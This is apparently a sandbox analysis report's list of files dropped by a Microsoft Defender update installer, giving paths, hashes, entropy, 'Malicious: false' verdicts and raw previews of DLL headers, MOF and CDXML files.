<InstanceCmdlets>..          <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">..              <QueryableProperties>..                  <Property PropertyName="
ThreatID">..                      <Type PSType="int64" />..                      <RegularQuery>..                          <CmdletParameterMetadata IsMandatory="false" Aliases="ID"..        
                     CmdletParameterSets="ById" />..                      </RegularQuery>..                  </Property>..              </QueryableProperties>..          </GetCmdle
tParameters>..      </InstanceCmdlets>..  </Class>..</PowerShellMetadata>..   SIG # Begin signature block -->..   MIIhdwYJKoZIhvcNAQcCoIIhaDCCIW

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpWDOScan.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 14145

Entropy (8bit): 5.978998016086098

Encrypted: false

SSDEEP: 384:LQ0m6YBOzHQV80tQEFl7Qxh34tSZogX5BRpB6WdGtf/P:80m6YQzHY80tQgQx+t6BHBddGtfH

MD5: 0DB7196D0224FBCE614AD6ACA63F8F17

SHA1: 943B7A55F6E584C9BE421871FD4C9E21A0F326EB

SHA-256: 2D87A0FE031420903AE69DB3A30011DC659B489E2B11AA4129FED01ED3F0B00B

SHA-512: 7F9400BDD7DE5F576F6F776F2C0166EB46A68A0040078993574B8226056E419B9C74B738000AFCEC2CFCDD0A5C5CCE3A822DE19E23FEDD63DF47F85755BA1777

Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpWDOScan" ClassVersion="1.0">..    <Version>1.0</Version>..    <DefaultNoun>MpWDOScan</DefaultNoun>..    <StaticC
mdlets>..      <Cmdlet>..        <CmdletMetadata Verb="Start" />..        <Method MethodName="Start">..          <ReturnValue>..            <Type PSType="System.Int32" />..        
    <CmdletOutputMetadata>..              <ErrorCode />..            </CmdletOutputMetadata>..          </ReturnValue>          ..        </Method>..      </Cmdlet>..    </StaticCm
dlets>..  </Class> ..</PowerShellMetadata>..   SIG # Begin signature block -->..   MIIhXgYJKoZIhvcNAQcCoIIhTzCCIUsCAQExDzANBglghkgBZQMEAgEFADB5Bgor -->..   
BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG -->..   KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCB
zAXdbBfjvkCEN -->..   qK7Ym3r0lwef2vQhN9zidTDdkf

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 725240

Entropy (8bit): 6.056118316914494

Encrypted: false

SSDEEP: 12288:UqjFjzbVd9Y5TFXnu5aHOf/gehVtN41D3mRy46WegMZ2:XjzbV7Y5BUlN4t2Ry6Ug

MD5: 0F9485E242400DC47A9FCA73A3443120

SHA1: 1BD457062BE7B37EAA252C238A9B3BF4EFFF0485

SHA-256: 8DA908D6AD4F307D6AAF8CFB1A9C27B3F3A285F84B1F3C817F50D7B154DC575F

SHA-512: B2A83A997985CC7FC5D07705E49BCC96BD9E0382CD4BB722C4EBBA3B35EE793C6507DA94AF23B276CB0808FEB7233A37A7F72CCF5974AE607186831AA5EE5C
10

Malicious: false

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................V...........V.....V.....V..J................%..........Rich.........
..PE..d...O.5..........." .....`.........................................................U<....`A..........................................................X....P...O....... .......F..<...p.......................(.......8...................t..........
..............text...UX.......`.................. ..`.rdata..vI...p...P...p..............@..@.data...T........p..................@....pdata...O...P...P...0..............@..@.didat..............................@....rsrc..
.X...........................@..@.reloc...F.......P..................@..B.................................................................................................................................................................................
...............................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dll

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.mof
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: C source, Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators

Category: dropped

Size (bytes): 91754

Entropy (8bit): 3.59234124916807

Encrypted: false

SSDEEP: 768:lv7JczQMzhFbvZbY6qyZ+v7JczQMzhFbvZbY6qyZg:RMhWyUMhWya

MD5: D9619BB89523F47C88DC5FC8BEA50BA0

SHA1: 279098ECBF269FC91585A8D0F7F5A1C72AD2101D

SHA-256: 3ECDCEF5A04C90CA1EB296F3AE4F1C5BC96C371E84BE927C25FA64D6C74C34AF

SHA-512: F110C9824D5CA8718A4EDA5968DC7DEA7B1C88A498CA2F7706D873D3B6C87FACF8E2ABE7BA20BEF033B8D0322E790C3B0F8CE288166635AE11857B367B9BB9
F7

Malicious: false

Reputation: unknown

Preview:
..#.p.r.a.g.m.a. .a.u.t.o.r.e.c.o.v.e.r.....#.p.r.a.g.m.a. .n.a.m.e.s.p.a.c.e.(.".\.\.\.\...\.\.r.o.o.t.\.\.M.i.c.r.o.s.o.f.t.\.\.W.i.n.d.o.w.s.\.\.D.e.f.e.n.d.e.r.".).........I.n.s.t.a.n.c.e. .o.f. .
_._.W.i.n.3.2.P.r.o.v.i.d.e.r. .a.s. .$.p.r.o.v.....{..... . .N.a.m.e. .=. .".P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.".;..... . .C.l.s.I.d. .=. .".{.A.7.C.4.5.2.E.F.-.8.E.9.F.-.4.2.E.B.-.9.F.2.B.-
.2.4.5.6.1.3.C.A.0.D.C.9.}.".;..... . .I.m.p.e.r.s.o.n.a.t.i.o.n.L.e.v.e.l. .=. .1.;..... . .H.o.s.t.i.n.g.M.o.d.e.l. .=. .".L.o.c.a.l.S.e.r.v.i.c.e.H.o.s.t.".;..... . .v.e.r.s.i.o.n. .=. .1.0.7.3.7.4.1.
8.2.5.;.....}.;.........I.n.s.t.a.n.c.e. .o.f. ._._.M.e.t.h.o.d.P.r.o.v.i.d.e.r.R.e.g.i.s.t.r.a.t.i.o.n.....{..... . .P.r.o.v.i.d.e.r. .=. .$.p.r.o.v.;.....}.;.........I.n.s.t.a.n.c.e. .o.f. ._._.E.v.e.n.t.P.r.
o.v.i.d.e.r.R.e.g.i.s.t.r.a.t.i.o.n.....{..... . .P.r.o.v.i.d.e.r. .=. .$.p.r.o.v.;..... . .e.v.e.n.t.Q.u.e.r.y.L.i.s.t. .=. .{.".s.e.l.e.c.t. .*. .f.r.o.m. .M.S.F.T._.M.p.E.v.e.n.t.".}.;...

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement_uninstall.mof
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: C source, Little-endian UTF-16 Unicode text, with CRLF, CR line terminators

Category: dropped

Size (bytes): 2570

Entropy (8bit): 3.4549784303178717

Encrypted: false

SSDEEP: 24:QXbclfUWvlDQzj3WvlDQzCWvlDQzwNWvlDQzYTYWvlDQzfWvlDQzyWvlDQzEWvl5:eTjDGwJ3r24RFZ7a2la2Sa2mWaWP

MD5: 72D045707D108D55B76CD70AD9A84AD6

SHA1: 8FE25F4F289302A49CF2FA0F962FEA4D7D82FB8A

SHA-256: 30A0AD834D7B3F4FB47010B4BB6905576792E83064E9DD858EABF0CCA17FC3DF

SHA-512: E3C6F3F931AEFCF1F0B1061B7355451692AF1F459F8ED13C39B03951A6A3E833AEBB1031796B5D806C615D3E84C178D628B10AB5EC5CCBC50935CBB0D584FA5
0

Malicious: false

Reputation: unknown

Preview:
..#.p.r.a.g.m.a. .n.a.m.e.s.p.a.c.e. .(. .".\.\.\.\...\.\.r.o.o.t.\.\.M.i.c.r.o.s.o.f.t.\.\.W.i.n.d.o.w.s.\.\.D.e.f.e.n.d.e.r.".).........#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.C.o.m.
p.u.t.e.r.S.t.a.t.u.s.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.E.v.e.n.t.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.H.e.a.r.t.B.
e.a.t.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.P.r.e.f.e.r.e.n.c.e.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.S.c.a.n.".,.n.o.f.
a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.S.i.g.n.a.t.u.r.e.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.".,.n.o.f.a.i.l.).....#.
p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.C.a.t.a.l.o.g.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.D.e.t.e.c.t.i.o.n.".
,.n.o.f.a.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ThirdPartyNotices.txt
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 6717

Entropy (8bit): 5.162252158398129

Encrypted: false

SSDEEP: 96:+WRspYDLPkQHFom1DW4DlHFposoSKYax9gDCk4Cp1PRsQHdBLe:DaVQHFB0AlHISKYoopoQHdxe

MD5: CE7313760386B6ABDE405F9B9E6EA51D

SHA1: F969931AC45991F7ECB6767A69433A7082ECCA2F

SHA-256: 73E26404B3571A9E859B3A1144F54C353172479586E0A23C3A7DDA0C1C0AE919

SHA-512: CF990FC05FD3ED78FF35F1A1ACD5317626D46745BF7E4F8C62AA068A587ABF52F232080464F82692A2BB8C04A4FFA53599B933A4281BC7E697337720DB65BF29

Malicious: false

Reputation: unknown
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Preview:
===============================================================================..1. C++ REST SDK (https://github.com/Microsoft/cpprestsdk).... 
C++ REST SDK ....The MIT License (MIT)....Copyright (c) Microsoft Corporation....All rights reserved.....Permission is hereby granted, free of charge, to any person ob
taining a copy of..this software and associated documentation files (the "Software"), to deal in..the Software without restriction, including without limitation the rights 
to..use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of..the Software, and to permit persons to whom the Software is furnished to do so,..subject 
to the following conditions:....The above copyright notice and this permission notice shall be included in all..copies or substantial portions of the Software.....THE SOFTWA
RE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR..IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANT
ABILITY,..FITNESS FOR A PARTICULAR PURPO

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ThirdPartyNotices.txt

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\af-ZA\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29928

Entropy (8bit): 4.969613819843474

Encrypted: false

SSDEEP: 384:7r/SmH7frhpOJsSYNEYffu1vB+sEqEKSTs/WS8/WWRDBRJZ4UslGsV7:7rbHnZNEYfPDR1PV8

MD5: 2A54A6EFE0D70D2F8120E4F9AE10F2AE

SHA1: 35DD602C81E5E1E086C093BB3C3F97CC68FA2FD6

SHA-256: F90B4913826DA577A68006FC7211E2390534BE9639934AFC5A375436373B1C71

SHA-512: 8AE2DCEEF670F26A753B1525FD126DC4748A5124B94F5B8ECB632E2A55A2B3C709146C40C936806CCFC64B804A1FF23E31C47293ECD4FF524F5CDC86320D205F

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R
...............................................p......*.....@.......................................... ..DN...........T... ...........................................................................................rdata..p...........................
@..@.rsrc...DN... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...I...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\am-ET\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 22264

Entropy (8bit): 6.043832073272478

Encrypted: false

SSDEEP: 384:7raKntNfzRKLpPExWUN7W0WVQB82s/BW/pQWS8/W4RDBRJvsl5D2:7r1ntNfzRKLpcjfRxR1Pl

MD5: F5F731716CA6C6CEFF57DEE03EB33376

SHA1: FA71CD3569AD3C6518E626E09965053F58AB6D9D

SHA-256: A2E33041860906CEF0BCE5B2F3FD2AF88E3DB61E97FF9EB16D650CAD1F69F708

SHA-512: FCCD58F3A698CE9668322C76140E8FE55B2F484962D1A9B51828C00C3CD888D85EA83D3626993B50098271B250DDE6783FA129E5225153112781D5565313553F

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........4
...............................................`............@.......................................... ...1...........6... ...........................................................................................rdata..p...........................
@..@.rsrc....1... ...2..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...-...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 58600

Entropy (8bit): 4.802281589367443

Encrypted: false

SSDEEP: 768:7r+0QI4V/O4klevfq7mvqaI216icZKfEflxZFcR1Pga1zR3:qCcHPVZ

MD5: 628870D988EFBFC39C06E7BA62495FFE

SHA1: A3A302666A07A5FE0D7FAD69DE9B1AFBD8F91536

SHA-256: 161D58719676884DB3BDFEA9A5770A55EC7BEBE839D97B6ECA3D20EC5A3D6B2D

SHA-512: E04ECDC7226C9B18FC86F51F6B70CD6E13345C8F2A8DFEE0845350777580CF46A738271E949B07216D83A647685DAD3666A7F5C2BA36451E11DB1545AFD9F7E9

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
......................................................:2....@.......................................... ..X................ ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\MpAsDesc.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 25320

Entropy (8bit): 5.568099766445783

Encrypted: false

SSDEEP: 384:7r8teWannr4pG2RI96HUy/oV/m9HlCWS8/WWRDBRJWiZEQmDWlGszRo:7r5nnr4pG2RI9AoV+9HVbR1PWJ1zv

MD5: 53F858DC25ADF3684E7E025277A57023

SHA1: A51A05FFA31010C1B28A63B5B7BBB490239BC1C6

SHA-256: D57524C7B0D7FE779DC3803F041C341F818381E19703D32BAA988F1697D1175C

SHA-512: 0A7E6808CDB2EB6E31596218FE42B2BFEE9B067B22913D43A1E1C1D5B1832C3018B04FC633E8F9223378216372235988FE15F2D9FA074AC595046542FF54B9D1

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........@
...............................................`............@.......................................... ...>...........B... ...........................................................................................rdata..p...........................
@..@.rsrc....>... ...>..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..H9...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\as-IN\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29416

Entropy (8bit): 5.632188784867651

Encrypted: false

SSDEEP: 768:7rOPaPbPAPCPLTPnPWPkP8Pe1lOO6FD6kKOy6OQOQ4LuYz3KUrZPk/4hPrPDV86/:xcNgPHPwc

MD5: D359F26A958650D3B5A28495DC39D409

SHA1: 3EF8B8E1C4E876E1C2A6157AE92C65E629C7559C

SHA-256: F2A33F57BED6013E9850AB150C83577862DE7FADA3CAA1C87C94100F486D92A7

SHA-512: 0ED71E0EA79B7AA96E8358B28DDE2C7C419C526168271355AA73C281BB123E9306FE1F3A94A1A9A7BBD4234E54CB0760BA31D6BBF5E13BEB8305460000C3685
D

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........P
...............................................p............@.......................................... ...L...........R... ...........................................................................................rdata..p...........................
@..@.rsrc....L... ...N..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..(H...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\az-Latn-AZ\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 28904

Entropy (8bit): 5.231249488030954

Encrypted: false

SSDEEP: 768:7rOj1wdJ4v3YFcFqFkFJFgFGFYFhrVbFRdtR1Pl/DM2:Gj1gFcFqFkFJFgFGFYFlVbFbtHPl/w2

MD5: 06A297C9B8293DA4AC3B56D304874F2A

SHA1: A7B7F072E7A7A5837382293CD65ABF10088E6EA9

SHA-256: C5D1763D4F042FE777BB02E47E26F76EC9008AF689679BDA6480E1541A1158BF

SHA-512: AB2C0EACEE65A2CC104DE75C86311374227E3E91E8BCEBED89F729B07681E2A79D88BC73F507C471666FCE8753DC18E83C2C37B27D8088D1563EC8634B05EB
D8

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........N
...............................................p............@.......................................... ...K...........P... ...........................................................................................rdata..p...........................
@..@.rsrc....K... ...L..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...F...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\az-Latn-AZ\mpuxagent.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 64744

Entropy (8bit): 4.650844920332313

Encrypted: false

SSDEEP: 384:7rTz3pDQHT+ddcOc1jzG/by+psEV++OfYcYQIhJ2YIqqO7a1BQdWhjRDBRJ4NKgY:7rtuDOYz01TO29VqhQ4jR1P4tl51VQ

MD5: DDFB72494C7DAB2C2DCBBF58F1384BB8

SHA1: 474F7CDEDFEF2B0E5765B5EF151A8DEA7845BE68

SHA-256: 7E28FA6FC9DD05652F3DDCC4B9BC54469DD44995EC69EF149B9477B4C0CE53D6

SHA-512: 6AD3EBF149C1C9A5BE7FF012A2AEE38DD6D2EFADE2EE73E1F41E45393180DA13BB1FB8E079E6D8CBE5D51259A1D57351738D037A3589FF50CF7577C372A1C5
21

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
.......................................................H....@.......................................... ................... ..............8............................................................................rdata..............................
@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!.....
.I............................................................................................................................................................................................................................................................................
.............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29416

Entropy (8bit): 5.351887592007768

Encrypted: false

SSDEEP: 384:7rTpJ4DyEhyXvb1vstW33294WS8/WPRDBRJfJs/Al3IKO:7rV4huvUVPmR1PK/KO

MD5: 6275E196D18A7E2E298B30AF3ED5C880

SHA1: 240364A589E90A9DE843CBB9C34555A2E4274793

SHA-256: 06B162090901AC0604283E1CE2EC1928E0A7C651332C3E7BE593E438DB02AC88

SHA-512: 54BFC5FA5D4DB45538E0C60454AB1E58371338C982496A19485BC76A3047E0264F2B30070B5A4E1A30B865FE38A95FF36C758790E5B8C8EE5B8ACEAFA200AEA8

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........P
...............................................p............@.......................................... ...M...........R... ...........................................................................................rdata..p...........................
@..@.rsrc....M... ...N..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...H...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bn-IN\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29944

Entropy (8bit): 5.555067530565591

Encrypted: false

SSDEEP: 768:7ruX333303MqF6WVHrS3snXlFwDzffQ6SMn6vvvU98Io/PI44te1eF3r+YR1Ph:F64HK7+YHPh

MD5: 231D5D0EC76C7498E5A94E120943699F

SHA1: D8DF8518946F02F5C51860983188C574B10A9180

SHA-256: 1807A40E971F9A586671F144CFB34404D2AFAA027EC9E670E323BA70577FC9E4

SHA-512: E62D8578FA404E1753CA5225AD6DBFDA8AA392B4340C4DCDE8E310CAE522A4960536AD9192D8A18DF47030C8380056D896ECC378A84F3EF9BA2192B6C7DC002
4

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R
...............................................p......\b....@.......................................... ...O...........T... ...........................................................................................rdata..p...........................
@..@.rsrc....O... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...J...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bn-IN\mpuxagent.dll.mui

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bs-Latn-BA\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 28392

Entropy (8bit): 5.05898751052722

Encrypted: false

SSDEEP: 384:7rgBdq0HifHAHyuJv3JSF666n/o001ZAGmIbmLWS8/W+RDBRJilSlGsM3k2:7r8dYuJYyn/oVv3zjR1PihX5

MD5: 6C4B5C9E187A6B13C39FAA41C742EDD6

SHA1: 30A5B3B8826EE8741CD09D5AD65D6BAA2DC68BB0

SHA-256: 9C776358CD7A47CCBA26F992472A0A739C6F0C152B89B5AEDDCACA8AC43684F0

SHA-512: 16E9795DD6EF63CACA9C7D7E96BF0CB2C0177641213F387586D4243E159E6464B1E736A1892071B80433F7F825A0530CEEB72EBABB4F4F7EB3802879AFED916F

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........L
...............................................p............@.......................................... ...I...........N... ...........................................................................................rdata..p...........................
@..@.rsrc....I... ...J..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...D...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES-valencia\mpuxagent.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 29928

Entropy (8bit): 4.978741308381524

Encrypted: false

SSDEEP: 768:7rleQQmmfwxJvYOmnVmJYlEmnVY4mxYCOAlc50EsUpVJg94T4OCaTR1PD/1zx:9eFlNTHPDdx

MD5: C9E9AE82C7782DC0E66BFE5EFEFF336C

SHA1: 676F16943FAB27A375C2E3F3AC0CE921AB751367

SHA-256: CA202FDD69FB81DBF24708D144E942FC10ACCFA4703BE979AAD55FD88B62E7F6

SHA-512: AE90BB4093A1879E8876D45262004AD10FCC9BE13D4BE1F9164C866827F2C48C28CE170274CDA4D0C13C3CE2EBF8106E5D374300F51EDEDE6E580F38BADD75C
A

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R
...............................................p............@.......................................... ...N...........T... ...........................................................................................rdata..p...........................
@..@.rsrc....N... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...J...rsrc$02............................................................
..............................................................................................................................................................................................................................................................................
..................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\MpAsDesc.dll.mui
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 67816

Entropy (8bit): 4.158464028484954

Encrypted: false

SSDEEP: 768:7rDj4mcWQ7uhqYxT352UL2dSsq5/8Vczyuz9ppJ4cwQRMC20hvQii98+wEH4cdqd:7WQ170VcfRMZgqHPO/

MD5: D2A485200AE94654A45301149D87A8A1

SHA1: 501C933C5BC3D5DC9AFADC86FC73D1567DCDADDD

SHA-256: 9164442B33BAA1DAAF4609189D8169CA9DFA67BB673683F66A49ED9145DA7585

SHA-512: 7D763413C96FB4197216F03028046A510E5393EE9789E827DC9665243889491A05E8A4ACDAF813E3E8773E5E952F53960C02AC86FBD4C83EE402B5DEF44CD17B

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!..........
............................................................@.......................................... ..T................ ..............8............................................................................rdata..............................
